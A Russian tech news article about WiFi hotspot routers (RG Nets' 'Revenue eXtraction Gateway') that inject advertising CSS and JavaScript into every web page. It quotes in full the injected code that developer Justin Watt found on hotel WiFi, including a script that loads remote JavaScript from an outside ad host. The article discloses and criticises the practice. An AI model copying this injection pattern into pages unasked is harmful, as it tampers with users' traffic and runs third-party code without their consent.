Некоторые WiFi-хотспоты могут фильтровать проходящий трафик и менять рекламные баннеры на веб-страницах, так что все пользователи этого хотспота видят уже новую рекламу. Это своеобразная бизнес-модель. Производители маршрутизаторов позиционируют инъекцию Javascript на все веб-страницы как дополнительную услугу, позволяющую монетизировать бесплатный трафик.

Проблему с внедрением Javascript первым заметил американский веб-разработчик Джастин Вотт, когда сёрфил по Сети из своего номера в отеле «Мэриотт» в Нью-Йорке. Он провёл расследование и опубликовал результаты в своём блоге.

В какой-то момент Джастин заметил на собственном сайте лишний элемент — горизонтальная полоска в самом верху страницы.

Поскольку это его собственный сайт, то он точно знал, что никакой полоски там быть не должно. Разработчик сразу проверил код страницы и увидел два дополнительных блока CSS и JavaScript, которые внедрены в страницу.

Первый блок внедрён после заголовка <head>.

<style type="text/css">
#rxgheader
{
  visibility:hidden;
  color:#111;
  background:#ffffff;
  text-align:center;
  border-bottom:1px solid #666;
  z-index:10000;
  position:fixed;
  width:100%;
  top:0;
}

#rxgleftbar
{
  visibility:hidden;
  color:#111;
  background:#fff;
  border-right:1px solid #666;
  z-index:10000;
  position:fixed;
  height:100%;
  left:0;
}

#rxgrightbar
{
  visibility:hidden;
  color:#111;
  background:#fff;
  border-left:1px solid #666;
  z-index:10000;
  position:fixed;
  height:100%;
  right:0;
}

#rxgfooter
{
  visibility:hidden;
  color:#111;
  background:#ffffff;
  text-align:center;
  border-top:1px solid #666;
  z-index:10000;
  position:fixed;
  width:100%;
  bottom:0;
}

#rxgcontent
{
}
</style>
<script language="JavaScript" type="text/javascript">
function checkVisible() {
    var footer, header, leftbar, rightbar, content;
    if (document.all) {
        footer = document.all.rxgfooter;
        header = document.all.rxgheader;
        leftbar = document.all.rxgleftbar;
        rightbar = document.all.rxgrightbar;
        content = document.all.rxgcontent;
    } else if (document.getElementById) {
        footer = document.getElementById('rxgfooter');
        header = document.getElementById('rxgheader');
        leftbar = document.getElementById('rxgleftbar');
        rightbar = document.getElementById('rxgrightbar');
        content = document.getElementById('rxgcontent');
    }
    if (footer) {
        if (footer.offsetWidth > 600) {
            footer.style.visibility = 'visible';
            content.style.paddingBottom = (footer.offsetHeight + 4) + "px";
        }
    }
    if (header) {
        if (header.offsetWidth > 600) {
            header.style.visibility = 'visible';
            content.style.paddingTop = (header.offsetHeight + 4) + "px";
        }
    }
    if (leftbar) {
        if (leftbar.offsetHeight > 400) {
            leftbar.style.visibility = 'visible';
            content.style.paddingLeft = (leftbar.offsetWidth + 4) + "px";
        }
    }
    if (rightbar) {
        if (rightbar.offsetHeight > 400) {
            rightbar.style.visibility = 'visible';
            content.style.paddingRight = (rightbar.offsetWidth + 4) + "px";
        }
    }
}
</script>

Ещё один фрагмент внедряется после заголовка <body>.

<div id="rxgheader">
<script type='text/javascript'>
var advnIsAdProviders = true;
var advnIsPersistCookie = false;
var mCustomerId = 44;
var advnIsHideImmediately = false;
var mDelayLoad = 1000;
var advnAdRotationDelay = 30000;
var jsUrl = 'http://adsmws.cloudapp.net/user/advnads20.js';

function addScript(jsUrl) {
    var AdvnScript = document.createElement('script');
    AdvnScript.setAttribute('src', jsUrl);
    AdvnScript.setAttribute('type', 'text/javascript');
    document.body.appendChild(AdvnScript);
}
setTimeout('addScript(jsUrl)', 50);
</script>
<div id = "rxgcontent">
<script language = "JavaScript" type = "text/javascript">
checkVisible();
</script>

Сначала веб-разработчик подумал, что кто-то взломал его блог, но потом убедился, что аналогичный код внедряется на любую веб-страницу. Самым подозрительным ему показалось использование странного префикса rxg и загрузка скрипта с внешнего хоста http://adsmws.cloudapp.net/user/advnads20.js. Разобравшись в коде этого скрипта (1900 строк), Джастин определил, что он предназначен для внедрения/блокировки рекламы.

После публикации этой истории читатели блога Вотта подсказали, откуда взялся странный скрипт и префикс rxg. Оказывается, это сокращённое название модели беспроводного маршрутизатора Revenue eXtraction Gateway производства компании RG Nets.

Эта модель имеет специальную функцию «извлечения прибыли» путём внедрения своей рекламы в сторонние веб-страницы. В рекламном видеоролике производители маршрутизатора показывают, как внедряют баннер с рекламой мотоцикла на все веб-страницы интернета.

Если такие маршрутизаторы уже появились на рынке, можно ожидать их более широкого распространения. Вряд ли владельцы бесплатных хотспотов смогут отказаться от дополнительного источника прибыли.

Оставить мнение